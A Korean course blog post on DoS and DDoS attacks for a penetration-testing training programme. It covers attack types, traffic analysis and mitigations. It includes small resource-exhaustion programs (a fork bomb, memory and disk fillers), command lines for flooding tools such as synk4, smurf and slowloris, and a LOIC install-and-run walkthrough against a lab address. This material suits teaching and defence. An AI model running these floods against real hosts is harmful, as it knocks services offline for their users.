블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2024.5
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

공지사항

태그목록

최근에 올라온 글



                DoS(Denial of Service) & DDoS(Distributed DoS)





        ■ 보안 이슈 관련 단어

        DoS/DDoS, DB Attack, APT Attack , SPAM MAIL, WEB Hacking, Wireless Hacking

        + Big Data Security + IoT Security


        ■ 이전에 배운 과정들에 대한 정리

        DoS/DDoS ---> Firewall ---> IPS/IDS ---> WAF ---> WEB Server(SELinux)




1. DoS & DDoS 용어


DoS(Denial of Service) 공격(1:1)

서비스 거부 공격: 공격자가 호스트의 H/W 또는 S/W 등을 무력하게 만들어 호스트에서 적법한 사용자의 서비스 요구를 거부하도록 만드는 일련의 과정이다.


DDoS(Distributed Denial of Service) 공격(N:1)

분산 서비스 거부 공격: 네트워크로 연결된 분산 환경에서 여러대의 컴퓨터를 이용하여 한대의 공격대상 시스템에 대한 DoS 공격 ( EX: BotNet )




2. DoS 공격의 특징


관리자 권한(EX: root)을 획득하는 것이 아니다.

데이터를 파괴 혹은 변조 혹은 훔쳐가는 것을 목적으로 하지 않는다.

공격의 원인이나 공격자를 추적하기 힘들다.

공격시 해결하기 힘들다.

매우 다양한 공격 방법들이 가능하다.

같은 공격에 대해서 각 시스템마다 결과가 다르게 나타날수 있다.

다른 공격을 위한 사전 공격으로 사용될수 있다.

사용자의 실수로 발생될수 있다.

금전을 요구하는 사회 범죄 형태로 전이 되었다.




3. DoS 공격의 유형


(1) 내부 공격


공격의 형태

시스템이 보유하고 있는 리소스를 점유하거나 모두 고갈시킴으로서 시스템 마비 발생

계정을 가진 내부 사용자에 의해 발생(EX: 로컬 계정을 가진 악의적인 사용자)

고의보다는 실수로 인해 발생(EX: 개발자에 의한 경우)


공격의 종류

디스크 채우기(EX: 디스크 full)

메모리 고갈(EX: 메모리 leak)

프로세스 만들기(EX: 많은 프로세스 생성)





(2) 외부 공격


공격의 형태

특정 포트를 사용하는 서비스를 마비 시킴(EX: 서비스 거부 공격)

네트워크 기능 자체를 오동작 시킴


공격의 종류

응용 프로그램 수준
- Mail Bomb
- Buffer Overflow
- Java Applet Attack

프로토콜 수준
- SYN Flooding
- Ping Flooding
- Smurfing Attack

네트워크 수준
- UDP Storming
- 네트워크 Bandwidth 공격




4. 트래픽 구성에 따른 DDoS 공격 유형 분석


순위

프로토콜

공격유형

점유율

1

UDP

악성 IRC Bot Flooding

Source Spoofing

70%

5%

2

ICMP

Fragementation Attack

10%

3

Garbage Packet

Opentear, Fragement

7%

4

Service Attack

GET/POST DDoS Attack

8%

-> UDP를 통한 악성 IRC BOT 공격이 DDoS의 주류를 이루고 있고, 프로토콜 중 UDP가 전체 DDoS에 약

   70% 이상이다..


■ 공격 구분 - 피해 대상별

구분

접속량 증가

대용량 

트래픽전송

PPS Consuming

Connection Consuming

Application

 Consuming

Bandwidth/Infra

 Consuming

프로토콜

TCP

(Non-handshake)

TCP

(Handshake)

HTTP, DNS, VoIP, DHCP

UDP/ICMP

공격PC위치

국내/국외

국내/국외

국내/국외

국내

IP변조여부

변조/실제 IP

실제 IP(Zombie)

실제 IP(Zombie)

변조/실제 IP

공격유형

64 bytes 이하 수십/백만 PPS

64 bytes 수십/백만 PPS

http cache-control

DNS Query

Flooding 등

1000 ~ 1500 bytes

수십만 PPS

공격효과

네트워크 장비, 보안 장비, 서버 등의 부하 발생

웹 서버 접속 고갈 발생

서버 접속 고갈 발생

회선 대역폭 초과

피해시스템

공격 대상 시스템 또는 동일 네트워크에서 사용 중인 모든 시스템

공격 대상 서버

Application

동일 네트워크에서 사용중인 모든 시스템





■ 서버 기반 DDoS 공격

(예전)

접속량 고갈(L7 공격) => 서버/응용프로그램

응용 계층 공격
- http request flooding, CC Attack, VoIP 등 특정 응용층에 대한 공격으로 정당한 사용자의 서
  비스를 제한
- 공격(대상응용계층만 서비스 제한, 동일네트워크내의 시스템은 정상
- 공격 트래픽의 양이 매우적고, 다른 응용계층은 정상 동작

(현재)

접속량 고갈(L7 공격) + 대역폭 고갈(L4 공격) => 네트워크/응용/인프라

응용/인프라 계층 공격
- http request bomb, DDoS evasion attack
- 응용계층 공격에 비정상적인 데이터 필드를 더하여 공격
- Real IP를 이용하여 최초 정상 Handshake 후 대량 공격
- 공격 트래픽의 양이 매우 많고, 모든 인프라 파괴
- 다중 Flow(Mixed Attack)이 아닌 싱글 Flow로 효과 증대


■ 대역폭(네트워크 회선) 기반 DDoS 공격

(예전)

대역폭 고갈(L3/L4 공격) => 네트워크/인프라

L3/L4 계층 공격
- UDP/ICMP Flooding
- 네트워크/인프라를 공격하여 모든 외부의 요청을 차단 및 지연 시키는 특성
- 공격 대상 서비스 제한, 동일 네트워크내의 시스템 제한
- 공격트래기의 양이 매우 많고, 모든 계층의 통신 불능 상태 유발

(현재)

실존트래릭 유사(L3/L4 공격) + 대역폭 고갈 => 네트워크/응용/인프라
- Real dump attack, DDoS Evasion Attack
- UDP, ICMP Fragementation Attack으로 전이
- VoIP의 경우 실제 패킷과 동일한 수준의 패킷을 대량 전송
- DNS의 경우 정상쿼리 전송
- L3/L4에서 응용계층으로 공격 전이




5. 공격 방법 기술 분석


■ UDP DDoS Attack Sample

-> 1000 bytes 데이터


■ ICMP DDoS Attack Sample

-> 1480 bytes 데이터


■ Syn Flood DDoS Attack Sample

-> 헤더만 존재


■ No-cache Get Flood DDoS Attack Sample

-> 헤더만 존재


■ Data + Ack Flooding DDoS Attack Sample

-> 데이터만 존재

        소스 IP/Port = 랜덤(random)

        목적 IP/Port = 고정

        데이터       = 삽입(1460 bytes)

■ Connection + Syn Flooding DDoS Attack Sample

-> 헤더만 존재

        No-cache Get Food

        Syn Flooding








6. 공격 방법 구현 실습


■ Local Attack(System Resource Exhaustion Attack)

공격 기법(디스크 자원 고갈)

공격 원리
- 임의의 파일을 생성한 후 계속해서 파일의 크기를 증가 시켜 디스크를 쓸모 없는 데이터로 채우는 공격기법

공격 코드 및 실행 방법

# vi disk_attack.c

#include <unistd.h>

#include <sys/file.h>

 

void main()

{

        int attack;

        char buf[10000];

        attack = create("root/temfile",0777);

        while(1)

                write(attack,buf,sizeof(buf));

}


# gcc -o disk_attack disk_attack.c

# ./disk_attack


해결점
- 문제의 프로세스를 찾아 종료
- 각 사용자에 대한 quota 설정
- 공용 디렉토리(/tmp, /var/tmp)에 대하여 독립적인 파티션으로 구성




■ Local Attack(System Resource Exhaustion Attack)

공격 기법(메모리 고갈)

공격 원리
- 하나의 프로세스가 시스템에서 사용 가능한 모든 메모리 리소스를 고갈시킴으로서 시스템을 마비시키는 공격 기법

공격 코드 및 실행 방법

# vi memory_attack.c

#include <stdio.h>

 

void main()

{

        char *c;

        while(1)

                c=malloc(1000);

}


# gcc -o memory_attack memory_attack.c

# ./memory_attack


해결책
- 각 사용자에 대한 최대 메모리 사용량을 제한한다.
- ulimit CMD, /etc/security/limits.conf







■ Local Attack(System Resource Exhaustion Attack)

공격 기법(프로세스 자원 고갈)

공격 원리
- 프로세스를 계속 만들어서 시스템 리소스를 고갈시킴으로서 시스템을 마비시키는 공격 기법

공격 코드 및 실행 방법

# vi process_attack.c

#include <stdio.h>

#include <unistd.h>

 

void main()

{

        while(1)

                fork();

}


# gcc -o process_attack process_attack.c

# ./process_attack


해결책
- 사용자마다 생성 가능한 최대 프로세스의 수를 제한한다.
- ulimit CMD, /etc/security/limits.conf




■ Remote Attack

공격 기법(SYN Flooding 공격)

공격 원리
- IP Spoofing을 이용하여 half-open TCP 연결을 시도하여 상대 호스트의 Listening Queue를 고갈 시키는 방법
- [그림] 공격에 대한 예제 그림

SYN Flooding 공격에 대해서
- Syn Flooding 공격은 TCP 프로토콜의 연결 설정 절차의 설계상의 취약성으로 인해 발생되는 것으로서 이에 대한 완전한 해결책은 없다고 봐야 한다.
- 피해를 감애하거나 최소화 하기 위햐서 Anti DDoS 솔류선이나 거대 백본을 가진 Secure IDC로 서버들을 이전하여 임시 대응하는 상황이다.(Real-DDoS의 경우 또는 Spoofed DDoS)

공격용 툴
(윈도우용) Hgod(
http://www.cnhonker.com)
     Hgod 툴의 기능
     - Spoofed/Non Spoofed Syn Flooding
     - Spoofed/Non Spoofed UDP Flooding
     - Spoofed/Non Spoofed ICMP/IGMP Flooding
     - DrDoS
(리눅스용) Synk4(
http://packetstorm.security.com/new-exploits/synful.c)
                (
http://user.cs.tu-berlin.de/~tqiu/exploits/synk4.c)

해결책
- 백 로그 큐의 크기를 증가, Half-Open Time을 적게 한다.


# netstat -an

or

wireshark 패킷 캡쳐









■ Remote Attack

공격기법(Ping of Death)

공격 원리
- ping을 이용하여 ICMP 패킷을 정상적인 크기보다 매우 크게 만들어 네트워크를 통과할 때 공격 네트워크에 도달하기 위해서는 단편화(Fragementation)이 되는데 이러한 경우 공격 대상 시스템은 이렇게 작은 조각 패킷을 처리하기 위하여 많은 로드가 발생되게 되는데 이른 노린 공격 방법이다.
# ping -n 10000 -l 65500 <Vitim's IP>



■ Remote Attack

공격기법(ICMP Smurfing)

공격 원리
- ICMP 프로토콜과 IP Broadcast 주소를 이용한 공격 기법
- Broadcast 로의 echo request를 보내 대량의 echo reply를 임의의 주소로 집중 전송되게 하는 원리
- [그림] 공격에 대한 예제 그림

공격용 툴
smurf.c(
http://packetstormsecurity.org/DoS/spike.sh.zip)
Hgod 프로그램을 사용하여 소스를 공격 대상 IP로 설정(IP Spoofing) 하고 대상자 네트워크를 공격하여야 한다.
# ./smurf <Victim's IP> bcastfile 0 5 64

해결책
- Smurfing의 차단 방법은 모든 라우터의 내부(LAN쪽) interface 마다 Directed Broadcast 기능을 막아 준다.
- 자신의 내부 측(EX: 192.168.0.255)의 주소로 ICMP echo의 요청이 들어가지 못하도록 한다.



■ Remote Attack

공격기법(Bonk/Boink, Teardrop)

공격원리
- 여러가지 프로토콜은 기본적으로 신뢰성을 높이고자 하는 목적을 가지고 있다. 신뢰성은 다음의 세가지로 크게 생각할 수 있다.
     * 패킷의 순서가 올바른가?
     * 중간에 손실된 패킷은 없는가?
     * 손실된 패킷의 재전송 요구
- Bonk/Boink, TearDrop은 위의 사항을 위반함으로써 공격 대상 시스템에 DoS 공격을 가하게 된다.
-
(Bonk 공격) Bonk는 처음 패킷을 1번으로 보낸 후 두번째, 세번째 패킷 모두 시퀀스 넘버를 1번으로 조작하여 공격
-
(Boink 공격) Bonk의 개량 버전인 Boink는 처음 패킷을 1번으로 보낸 후 두번째 패킷은 101번, 세번째 패킷은 201번으로 정상적으로 보내다가 중간에서 일정한 시퀀스 넘버로 보낸 후 열번째 패킷은 1001번, 열한번째 패킷도 1001번, 열두번째 패킷도 1001번으로 전송
-
(TearDrop 공격) TearDrop은 패킷을 겹치게 또는 일정한 간격의 데이터가 빠지게 전송한다. Teardrop은 IP 패킷의 전송이 잘게 나누어졌다가 다시 재 조합하는 과정의 약점을 악용한 공격이다. 보통 IP 패킷은 하나의 큰 자료를 잘게 나누어서 보내게 되는데 이때 offset을 이용하여 나누었다가 도착지에서 offset을 이용하여 재 조합하게된다. 이때 동일한 offset을 겹치게 만들면 시스템은 교착되거나 충돌을 일으키거나 재기동된다. 과거 윈도우 95 버전에서 발생되었던 문제이다. 그러나 현재도 네트워크나 시스템에 큰 오버헤드를 발생시킨다.
- [그림] 공격에 대한 예제 그림


정상적인 패킷 전송

==============================================================================

시퀀스번호       (1)     (101)   (201)   (301)   (401)

                |       |       |       |       |

                |<-----> |       |       |       |

                |       |<-----> |       |       |

                |       |       |<-----> |       |

                |       |       |       |<-----> |

                |       |       |       |       |

==============================================================================


비정상적인 패킷 전송

==============================================================================

시퀀스번호       (1)     (101)   (201)   (301)   (401)

                |       |       |       |       |

                |<-----> |       |       |       |

                |     <------->  |       |       |

                |   (81) |   (181)| (221) | (321) |

                |       |       |   <----->      |

                |       |       |      <------->  |

                |       |       |   (251)|  (351) |

==============================================================================


공격방법
# ./newtear <공격IP> <대상IP> -s <소스포트> -t <대상포트> -n <공격개수>




■ Remote Attack

공격기법(LAND Attack) ( loop )

공격원리
- 패킷을 전송할 때 출발지 IP 주소와 목적지 IP 주소값을 공격자의 IP 주소값으로 똑같이 만들어서 공격 대상에게 보낸다. 시스템은 처음 시도된 Syn에 대한 Reply 패킷을 출발지 IP 주소 값을 참조하여 그 값을 목적지 IP 주소 값으로 설정하여 패킷을 보낸다. 하지만 이 값은 자기 자신의 IP 주소 값이므로 네트워크 밖으로 나가지 않고 자신에게 다시 돌아온다. 이 공격 방법은 Syn Flooding 처럼 동시 사용자 수를 점유 해버리며 CPU 부하까지 올리게 된다.
- [그림] 공격에 대한 예제 그림

공격방법
- synk4를 이용하여 소스와 목적지 주소를 동일하게 세팅하여 공격
 
# ./synk4 192.168.1.100 30 1024 192.168.1.100 21
  -> wireshark 패킷 캡쳐 분석


■ Remote Attack

공격기법(Win Nuke)

공격원리
- 상대방 시스템에 139번 포트를 스캔하여 열려 있는지 확인하고 NetBIOS 패킷에 URG(Urgent)를 On 상태로 하여 패킷을 전송한다. URG가 On 상태는 송수신 중간에 발생할 수 있는 비정상적인 상태를 의미한다. 서비스 중 <CTRL + Break> 또는 <CTRL + C>와 같은 역할을 한다.
- 공격 대상은 수 많은 Urgent 패킷을 인식하고 모든 시스템의 세션을 닫은 뒤 재 연결을 요구하게 된다. 이때 CPU에 과부하가 걸리게 된다. 이 공격은 심한 경우 시스템이 손상되기도 한다.

공격툴
- Wnuke5(winnuke.c)

Win Nuke 공격에 대해서
- 일반적으로 Out-of-band 플래그가 Padding된 패킷을 전송하게 되는데 윈도우 NT 박스 계열에서는 TCPIP.sys 모듈에서 Stop 0x0000000A를 발생 시키며 중단된다.




■ Remote Attack

공격기법(UDP Flooding) - 현재도 공격가능

공격원리
- 대역폭 고갈을 위한 공격을 가장 많이 사용되는 DoS, DDoS 공격이다. UDP Body에 Garbage Data를 Padding 하여 공격한다.

공격툴
- UDP Flooder 2.00



■ Remote Attack

공격기법(Out of Band Flooding)

공격원리
- 일반적인 TCP/IP 세션을 연결하기 위한 과정에서 발생하는 TCP Flag를 제외하거나 비정상적인 순서로 발생되는 Flag의 조합을 통한 DDoS, DoS 해킹 공격

공격툴
- stream3.c
     stream3.c 기능
     * SYN Flooding
     * NULL Flooding
     * FIN Flooding
     * ACK Flooding
     * PUSH Flooding
     * RST Flooding
     * FIN/ACK Flooding
     * XMAS Flooding


■ Remote Attack

공격기법(DDoS Ping)

공격원리

공격툴
- DDoSPing 1.03(Trinoo)



■ Remote Attack

공격기법(Mail Bomb) - 현재도 많이 사용된다.

공격원리
- Mail Bomb은 흔히 폭탄 메일이라고 한다. 스팸 메일도 이와 같은 종류이다. 메일서버는 각 사용자에게 일정한 양의 디스크 공간을 할당하는데, 메일이 폭주하여 디스크 공간을 가득 채우면 정작 받아야 하는 메일을 받을 수 없게 된다. 이때문에 스팸 메일은 DoS 공격이 될수 있다.

공격툴
- 윈도우용 Mail Bomber Upyours(Digital Dominace(c) 1997 -=Glbal kOS=-- [Up Yours 4.0])




■ Remote Attack

공격기법(Checksum Error Flodding)

공격원리
- Checksum은 패킷내에 하나의 필드로 구성하며 데이터를 이진수(Binary Number)의 연속으로 간주하여 그 이진수의 합을 계산하는 방법이다. 예를 들어 16 bits checksum을 사용하는 경우 데이터를 16 bits씩 나누어 16진수로 표현한 다음 그 합을 계산하여 16으로 나눈 나머지에 해당되는 값을 checksum으로 사용하는 방법이다.
- 정확하지 않은 checksum값을 대량으로 보내 시스템이나 네트워크에 성능(Performance)에 영향을 미친다.


-----------------------------------

h  e  l  l  o     w  o  r  l  d  .
-----------------------------------
48 65 6c 6c 6F 20 77 6F 72 6C 64 2E

-----------------------------------

4865 + 6C6C + 6F20 + 776F + 726C + 642E + carry = 71FC


공격툴
- 윈도우용 Mail Bomber Upyours(Digital Dominace(c) 1997 -=Glbal kOS=-- [Up Yours 4.0])



■ Remote Attack

공격기술(IP Checksum Error)

공격원리
- IP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 불가능하게 한다.

공격방법
# ./ipchksum <소스IP> <타켓IP> <포트>



■ Remote Attack

공격기술(ICMP Checksum Error)

공격원리
- ICMP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 불가능하게 한다.

공격방법
# ./icmpchecksum <소스IP> <타켓IP> <포트>



■ Remote Attack

공격기술(UDP checksum Error)

공격원리
- UDP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 분가능하게 한다.

공격 방법
# ./udpchksum <target> <bcast file> <num packets> <packet delay> [dstport] [srcport] [psize]



■ Remote Attack

공격기술(botnet)

공격원리
- Robot의 줄임말로 감염된 컴퓨터(Zombie, Hacker Army, troop)는 공격자(Bot Master, Bot C & C)에 의해 조종됨. 취약한 서버들이 주로 C & C(Command and Control Server)로 악용
- 악성 프로그램 유포, 피싱/SPAM 메일 방송, 개인정보 유출, AdWare 및 SpyWare 설치, 서비스 거부 공격(DoS)등 수행


공격자 -----+-----> 공격자 명령 전달 서버

            +-----> 공격자 명령 전달/파일 다운로드 서버

                                  |

                                |

                                V

                        좀비(Zombie PC) ......

                                |

                                |

                                V

                        타겟시스템(Target)



■ Remote Attack

공격기술(Netbot Attack)

공격원리
- 중국발 Ransom(금전요구형) DDoS 공격 툴로 널리 알려진 툴이다.
- 서버와 빌더로 이루어져 있어 빌더로 악성코드를 제작하면 서버에 좀비처럼 통제가 가능하게 된다.
- 국내 게임, 포탈등 다양한 사이트들에 대한 공격이 이루어졌다.

공격툴
- NB5.5Build.exe(NB 5.5)
- NetBot_Cn.exe




■ Remote Attack

공격기술(TCP Slow Attack) - 지금도 공격이 가능하다.

공격원리
- TCP Slow Attack은 2009년 7월7일 있었던 7.7 대란에 사용되었던 기법으로 여러대의 좀비 PC들이 소량의 TCP 접속만을 전송하여 정상과 비정상적인 TCP 세션 요청을 구분하기 어렵게 시도하던 공격의 일환

공격툴
- 윈도우용 Perl 설치(Active Perl)
-
www.perlmania.or.kr:8949/pmdocs/kys/perlstart.html
- # perl sloworis.pl -dns 192.168.0.100




■ Remote Attack

공격기술(HTTP Get Flooding)

공격원리
- HTTP 서비스를 제공하고 있는 웹 서버에 직접적인 영향을 비치는 공격방법으로 다량의 접속 요청을 보내서 정상적인 접속을 요청하는 사용자들의 접속을 방해하는 공격이다.
- 1514바이트 최대 크기로 대상 사이트 공격, 데이터 영역의 문자열은 적당한 것을 사용하면 된다.

공격툴
- Low ORbit Lon Cannon(lolc)


[실습] LOIC(Low Orbit Ion Cannon) 툴을 사용한 DoS Attack 실습


저궤도 이온포(Low Orbit Ion Cannon)

네트워크 스트레스 테스트 툴이다.

이 소프트웨어는 많은 공공기관을 포함한 여러 웹사이트에 분산 서비스 공격을 편하게 사용할 수 있게 도와주며, anonymous에 의해 사용되면서 유명하게 되었다.

Window 2008에서 실습했음. ( dotnetframework -> LOIC )


(KaliLinux) 

# apt-get update

# apt-get install git git-core monodevelop mono-mcs mono-dmcs

Couldn't find any package whose name or description matched "mondodevelop"

Couldn't find any package whose name or description matched "mondodevelop"

The following NEW packages will be installed:

  git-core

The following packages will be REMOVED:

  libafpclient0{u} libcrypt-passwdmd5-perl{u} libmozjs24d{u} libnet-daemon-perl{u}

  libplrpc-perl{u} memtest86+{u} syslinux-themes-debian{u}

  syslinux-themes-debian-wheezy{u} xulrunner-24.0{u}

0 packages upgraded, 1 newly installed, 9 to remove and 39 not upgraded.

Need to get 1,336 B of archives. After unpacking 55.9 MB will be freed.

Do you want to continue? [Y/n/?] Y

Get: 1 http://http.kali.org/kali/ kali/main git-core all 1:1.7.10.4-1+wheezy1 [1,336 B]

Fetched 1,336 B in 7초 (180 B/s)     

(데이터베이스 읽는중 ...현재 366570개의 파일과 디렉터리가 설치되어 있습니다.)

..... (중략) .....

* Installing 5 assemblies from libnunit2.6-cil into Mono

libnunit-cil-dev (2.6.0.12051+dfsg-2) 설정하는 중입니다 ...

monodoc-base (2.10.8.1-8+deb7u1) 설정하는 중입니다 ...

monodevelop (3.0.3.2+dfsg-1) 설정하는 중입니다 ...

libmono2.0-cil (2.10.8.1-8+deb7u1) 설정하는 중입니다 ...

libmono-cil-dev (2.10.8.1-8+deb7u1) 설정하는 중입니다 ...

mono-devel (2.10.8.1-8+deb7u1) 설정하는 중입니다 ...

update-alternatives: using /usr/bin/mono-csc to provide /usr/bin/cli-csc (c-sharp-compiler) in 자동 모드

update-alternatives: using /usr/bin/resgen to provide /usr/bin/cli-resgen (resource-file-generator) in 자동 모드

update-alternatives: using /usr/bin/al to provide /usr/bin/cli-al (assembly-linker) in 자동 모드

update-alternatives: using /usr/bin/sn to provide /usr/bin/cli-sn (strong-name-tool) in 자동 모드

menu에 대한 트리거를 처리하는 중입니다 ...

-> 설치 에러가 발생하면 다시 실행하면 된다.


# mkdir /loic

# cd /loic

# wget https://raw.github.com/nicolargo/loicinstaller/master/loic.sh

-> 출력 내용 생략


# vi loic.sh

#!/bin/bash

# Copyfuck © 2010 q

#

# This script installs, updates and runs LOIC on Linux.

#

# Supported distributions:

#   * Ubuntu

#   * Debian

#   * Fedora

#

# Usage: bash ubuntu_loic.bash <install|update|run>

#

 

GIT_REPO=http://github.com/NewEraCracker/LOIC.git

GIT_BRANCH=master

 

DEB_MONO_PKG="monodevelop liblog4net-cil-dev"

FED_MONO_PKG="mono-basic mono-devel monodevelop mono-tools"

 

..... (중략) ....

 

case $1 in

    install)

        compile_loic

        ;;

    update)

        update_loic

        ;;

    run)

        run_loic

        ;;

    *)

        echo "Usage: $0 <install|update|run>"

        ;;

esac





        [참고] 필요하면 명령어 수행

        # apt-get update

        # apt-get upgrade

        # apt-get install monodevelop mono-gmcs


        [참고] 2016년 06월27일 현재 패키지가 변경되었다.

        # apt-get install mono-xbuild mono-devel mono-mcs


# chmod 777 loic.sh

# ./loic.sh

Usage: ./loic.sh <install|update|run>


# ./loic.sh install  (# bash loic.sh)

/usr/bin/git

MonoDevelop Build Tool

Loading solution: /loic/LOIC/LOIC.sln

   Loading solution: /loic/LOIC/LOIC.sln

      Loading projects ..

Building Solution: LOIC (Debug)

   Building: IRC (Debug)

      Performing main compilation...

      WARNING: Assembly 'log4net, Version=1.2.10.0, Culture=neutral,

      PublicKeyToken=1b44e1d426115821, processorArchitecture=MSIL' not found. Make sure

      that the assembly exists in disk. If the reference is required to build the project

      you may get compilation errors.

      /usr/bin/gmcs /noconfig "/out:/loic/LOIC/bin/Debug/IRC.dll"

      "/r:/usr/lib/mono/2.0/System.dll" "/r:/usr/lib/mono/2.0/System.Core.dll" /nologo

      /warn:4 /debug:full /optimize- /codepage:utf8 /platform:x86 "/define:DEBUG;TRACE"

      /t:library "/loic/LOIC/IRC/Client/Channel.cs" "/loic/LOIC/IRC/Client/ChannelUser.cs"

      "/loic/LOIC/IRC/Client/Delegates.cs" "/loic/LOIC/IRC/Client/EventArgs.cs"

      "/loic/LOIC/IRC/Client/IrcClient.cs" "/loic/LOIC/IRC/Client/IrcMessageData.cs"

..... (중략) .....

   Building: LOIC (Debug)

      Performing main compilation...

      Compiling resource /loic/LOIC/frmMain.resx with /usr/bin/resgen2

      Compiling resource /loic/LOIC/frmWtf.resx with /usr/bin/resgen2

      Compiling resource /loic/LOIC/Properties/Resources.resx with /usr/bin/resgen2

      /usr/bin/gmcs /noconfig "/out:/loic/LOIC/bin/Debug/LOIC.exe"

      "/r:/usr/lib/mono/2.0/System.dll" "/r:/usr/lib/mono/2.0/System.Drawing.dll"

      "/r:/usr/lib/mono/2.0/System.Windows.Forms.dll" "/r:/loic/LOIC/bin/Debug/IRC.dll"

      "/r:/usr/lib/mono/2.0/System.Core.dll" /nologo /warn:4 /debug:full /optimize-

      "/win32icon:/loic/LOIC/LOIC.ico" /codepage:utf8 /platform:x86 /main:LOIC.Program

      /t:winexe "/loic/LOIC/frmMain.cs" "/loic/LOIC/frmMain.Designer.cs"

      "/loic/LOIC/frmWtf.cs" "/loic/LOIC/frmWtf.Designer.cs" "/loic/LOIC/HTTPFlooder.cs"

      "/loic/LOIC/Program.cs" "/loic/LOIC/Properties/AssemblyInfo.cs"

      "/res:/loic/LOIC/frmMain.resources,LOIC.frmMain.resources"

      "/res:/loic/LOIC/frmWtf.resources,LOIC.frmWtf.resources"

      "/res:/loic/LOIC/Properties/Resources.resources,LOIC.Properties.Resources.resources"

      "/loic/LOIC/Properties/Resources.Designer.cs" "/loic/LOIC/XXPFlooder.cs"

      Compilation succeeded - 1 warning(s)

      

      /loic/LOIC/frmMain.cs(180,59): warning CS0219: The variable `ipHost' is assigned but

      its value is never used

      

      

      Build complete -- 0 errors, 1 warning


# ./loic.sh update

/usr/bin/git

Current branch master is up to date.

/usr/bin/git

MonoDevelop Build Tool

Loading solution: /loic/LOIC/LOIC.sln

   Loading solution: /loic/LOIC/LOIC.sln

      Loading projects ..

# ./loic.sh run

-> 사용방법에 대해서는 인터넷을 참고한다.

-> youtube.com 동영상을 참고한다.

"1. Select your target" 부분
URL:
http://192.168.20.200

-> Lock on

 

"2.Attack options" 부분

Method: HTTP

 

"3. Ready?" 부분

"IMMA CHARGIN MAH LAZER"

-> [실습] 공격 방법을 HTTP/TCP/UDP를 선택하고 wireshark를 통해 패킷을 분석한다.


■ TCP Attack

---------------------

192.168.20.50    192.168.20.200   TCP     78      [TCP segment of a reassembled PDU]



■ UDP Attack

---------------------

192.168.20.50    192.168.20.200   QUIC    54      CID: 32, Seq: 28519



■ HTTP Attack

---------------------

192.168.20.50    192.168.20.200   TCP     74      60734→80 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=127301 TSecr=0 WS=1024






'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160823 Snort on CentOS6.X  (0) 2016.08.23
20160823 DoS, DDoS, SNORT  (0) 2016.08.23
20160822 NAS(Network Attached Storage)  (0) 2016.08.22
20160819 프로젝트#4 + 피드백  (0) 2016.08.19
20160805 Sophos UTM  (0) 2016.08.05
Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함